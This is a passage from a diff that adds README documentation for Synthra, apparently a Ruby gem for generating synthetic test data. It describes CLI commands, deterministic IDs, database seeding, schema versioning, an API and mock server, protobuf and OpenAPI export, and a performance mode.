+```bash
+# Generate docs
+synthra docs schemas/ --output docs/
+
+# With custom title
+synthra docs schemas/ --output docs/ --title "My API Schemas"
+```
+
+Creates:
+- `index.html` - Schema listing with statistics
+- `{schema}.html` - Individual schema pages with:
+  - Field table (name, type, required, nullable)
+  - Sample data (random and edge modes)
+
+---
+
+## 🔢 Deterministic IDs
+
+Generate stable, reproducible IDs:
+
+```ruby
+# Deterministic UUIDs
+Synthra::DeterministicIds.uuid(variant: "user", index: 0, seed: 42)
+# => "f47ac10b-58cc-4372-a567-0e02b2c3d479" (always the same)
+
+# Short IDs (like YouTube)
+Synthra::DeterministicIds.short_id(variant: "video", index: 0)
+# => "dQw4w9WgXcQ"
+
+# Integer IDs
+Synthra::DeterministicIds.integer(variant: "order", max: 1_000_000)
+
+# URL slugs
+Synthra::DeterministicIds.slug(words: 3)
+# => "alpha-baker-charlie"
+
+# Batch generation
+Synthra::DeterministicIds.batch(100, type: :uuid, variant: "user")
+```
+
+---
+
+## 🌱 Database Seeder
+
+FK-aware database seeding:
+
+```ruby
+Synthra.seed_database(truncate: true) do
+  create User, count: 100
+  create Order, count: 500        # Links to Users automatically
+  create OrderItem, count: 2000   # Links to Orders automatically
+end
+```
+
+---
+
+## 📊 Schema Versioning
+
+Track schema versions and migrations:
+
+```ruby
+# Parse versioned schema names
+Synthra::SchemaVersioning.parse_version("User@v2")
+# => { name: "User", version: "v2" }
+
+# Register migrations
+Synthra::SchemaVersioning::Registry.register(
+  from: "User@v1",
+  to: "User@v2",
+  changes: { added: ["avatar"], removed: ["legacy_field"] }
+)
+
+# Find migration path
+Synthra::SchemaVersioning::Registry.migration_path("User@v1", "User@v3")
+# => [["User@v1", "User@v2"], ["User@v2", "User@v3"]]
+```
+
+---
+
+```ruby
+Synthra.configure do |config|
+  # Default generation mode
+  config.default_mode = :random
+  
+  # Resource limits
+  config.limits.max_latency_ms = 10_000
+  config.limits.max_recursion = 10
+  config.limits.max_array_size = 1000
+  config.limits.max_text_length = 10_000
+end
+```
+
+---
+
+## 🚀 Production API Server
+
+Production-ready REST API for data generation - use it as **the core of your data platform**:
+
+```bash
+# Start the API server
+synthra server schemas/ --port 3000
+
+# With authentication and rate limiting
+synthra server schemas/ --port 3000 --api-key secret123 --rate-limit 100
+
+# Production mode
+synthra server schemas/ --port 3000 --env production
+```
+
+### API Endpoints
+
+| Endpoint | Description |
+|----------|-------------|
+| `GET /api/schemas` | List all available schemas |
+| `GET /api/:schema` | Generate a single record |
+| `GET /api/:schema/batch?count=100` | Generate multiple records |
+| `GET /api/:schema/stream` | Stream records (NDJSON) |
+| `POST /api/:schema` | Generate with overrides |
+| `GET /api/:schema/openapi` | OpenAPI spec for schema |
+| `GET /api/:schema/protobuf` | Protobuf definition |
+| `GET /metrics` | Server metrics |
+
+### Ruby API
+
+```ruby
+# Start server programmatically
+Synthra::APIServer.start(
+  schema_dir: "schemas/",
+  port: 3000,
+  auth: { type: :api_key, keys: ["secret123"] },
+  rate_limit: 100,  # requests per minute
+  enable_caching: true
+)
+
+# Use as Rack middleware
+# config.ru
+run Synthra::APIServer.rack_app(schema_dir: "schemas/")
+```
+
+---
+
+## 📡 gRPC/Protobuf Export
+
+Generate Protocol Buffer definitions for microservices:
+
+```bash
+# Export single schema
+synthra export User -d schemas/ -f protobuf -o user.proto
+
+# Export all schemas
+synthra export --all -d schemas/ -f protobuf -o all.proto
+```
+
+### Generated Proto File
+
+```protobuf
+syntax = "proto3";
+
+package generated;
+
+message User {
+  string id = 1;
+  string name = 2;
+  string email = 3;
+  int64 age = 4;
+  bool active = 5;
+  UserRole role = 6;
+}
+
+enum UserRole {
+  USERROLE_UNSPECIFIED = 0;
+  USERROLE_ADMIN = 1;
+  USERROLE_USER = 2;
+}
+
+service UserService {
+  rpc GetUser(GetUserRequest) returns (User);
+  rpc GenerateUser(GenerateUserRequest) returns (User);
+  rpc GenerateManyUsers(GenerateManyUsersRequest) returns (stream User);
+}
+```
+
+---
+
+## 📋 OpenAPI Export
+
+Export schemas to OpenAPI 3.0 specifications:
+
+```bash
+# Export as YAML
+synthra export --all -d schemas/ -f openapi -o api.yaml
+
+# Export as JSON
+synthra export --all -d schemas/ -f openapi -o api.json
+```
+
+### Ruby API
+
+```ruby
+exporter = Synthra::Export::OpenAPI.new(registry,
+  title: "My Data API",
+  version: "1.0.0",
+  server_url: "https://api.example.com"
+)
+
+# Export as YAML
+spec_yaml = exporter.export
+
+# Export as JSON
+spec_json = exporter.export_as(:json)
+```
+
+---
+
+## 🎬 Mock Server
+
+Production-ready mock server with API recording:
+
+```ruby
+# Start mock server
+Synthra::MockServer.start(
+  schema_dir: "schemas/",
+  port: 3000,
+  recording: true,           # Enable recording
+  recordings_dir: "mocks/",  # Save recordings here
+  cors: true,
+  default_mode: :random
+)
+```
+
+### Recording & Replay
+
+```bash
+# Record a real API response
+curl -X POST http://localhost:3000/api/recordings/user_list \
+  -H "Content-Type: application/json" \
+  -d '{"data": [{"id": 1, "name": "Real User"}]}'
+
+# Replay the recording
+curl http://localhost:3000/api/recordings/user_list
+```
+
+---
+
+## 📜 Data Contracts Registry
+
+Version and publish schemas centrally for team coordination:
+
+```bash
+# Publish a schema version
+synthra contracts publish User -v 1.0.0 -s schemas/ -m "Initial release"
+
+# Deprecate a version
+synthra contracts deprecate User -v 1.0.0 --sunset 2026-06-01
+
+# List all contracts
+synthra contracts list
+
+# Check compatibility between versions
+synthra contracts diff User 1.0.0 2.0.0
+```
+
+### Ruby API
+
+```ruby
+registry = Synthra::ContractsRegistry.new("contracts/")
+
+# Publish
+registry.publish("User", version: "1.0.0", schema: schema, changelog: "Initial")
+
+# Deprecate
+registry.deprecate("User", version: "1.0.0", sunset_date: Date.new(2026, 6, 1))
+
+# Check compatibility
+result = registry.compatible?("User", "1.0.0", "2.0.0")
+if result[:breaking]
+  puts "Breaking changes: #{result[:changes]}"
+end
+
+# Validate current schema against contract
+registry.validate("User", version: "1.0.0", schema: current_schema)
+```
+
+---
+
+## ⚡ Performance Mode
+
+Generate **millions of records** with parallel processing:
+
+```bash
+# Generate 1 million records to file
+synthra perf User -d schemas/ -c 1000000 -o users.ndjson
+
+# Different formats
+synthra perf User -d schemas/ -c 1000000 -f csv -o users.csv
+synthra perf User -d schemas/ -c 1000000 -f json -o users.json
+
+# Benchmark performance
+synthra perf User -d schemas/ --benchmark
+```
+
+### Ruby API
+
+```ruby
+# Generate with progress callback
+records = Synthra::PerformanceMode.generate(schema, count: 1_000_000) do |progress|
+  puts "#{progress[:current]} / #{progress[:total]} (#{progress[:rate]} rec/s)"
+end
+
+# Stream to file (memory efficient)
+Synthra::PerformanceMode.to_file(
+  schema,
+  count: 10_000_000,
+  output: "users.ndjson",
+  format: :ndjson
+) do |progress|
+  puts "ETA: #{progress[:eta]}s"
+end
+
+# Benchmark
+results = Synthra::PerformanceMode.benchmark(schema, counts: [1000, 10_000, 100_000])
+# => { 1000 => { elapsed: 0.05, rate: 20000, memory_mb: 2.5 }, ... }
+
+# System capabilities
+Synthra::PerformanceMode.system_info
+# => { cpu_cores: 8, optimal_threads: 7, native_available: true, ... }
+```
+
+---
+
+## 📚 Examples
+
+### E-Commerce System
+
+```
+Product:
+  id: uuid(unique: true)
+  name: text(10..50)
+  price: money(range: 9.99..999.99)
+  category: enum(electronics, clothing, home)
+  in_stock: boolean(true:85%)
+
+Order:
+  id: uuid(unique: true)
+  customer_id: Ref(Customer.id)
+  items: array(OrderItem, 1..5)
+  total: custom(:calculate_total)
+  status: enum(pending, shipped, delivered)
+```
+
+### API Response Simulation
+
+```
+APIResponse:
+  @latency 50..500ms
+  @failure 2%
+  @simulate_error 503 1%
+  
+  success: boolean(true:95%)
+  data: object
+  timestamp: now
+```
+
+📖 See [Examples Directory](tech_example/) for more:
+- [Basic Usage](tech_example/01_basic_usage.rb)
+- [All Types Demo](tech_example/02_types_demo.rb)
+- [Database Seeding](tech_example/05_database_seeding.rb)
+- [RSpec Integration](tech_example/07_rspec_integration.rb)
+- [Custom Types](tech_example/10_custom_types.rb)
+- [Behaviors](tech_example/12_behaviors.rb)
+
+---
+
+## 🤝 Contributing
+
+We welcome contributions! Please see [CONTRIBUTING.md](CONTRIBUTING.md).
+
+```bash
+# Clone the repository
+git clone https://github.com/talaatmagdyx/synthra.git
+cd synthra
+
+# Install dependencies
+bundle install
+
+# Run tests
+bundle exec rspec
+
+# Run linter
+bundle exec rubocop
+```
+
+---
+
+## 📄 License
+
+The gem is available as open source under the terms of the [MIT License](https://opensource.org/licenses/MIT).
+
+---
+
+## 🙏 Acknowledgments
+
+- [Faker](https://github.com/faker-ruby/faker) - For the amazing fake data generators
+- [Zeitwerk](https://github.com/fxn/zeitwerk) - For elegant autoloading
+- The Ruby community for inspiration and feedback
+
+---
+
+<p align="center">
+  Made with ❤️ by the Synthra Team
+</p>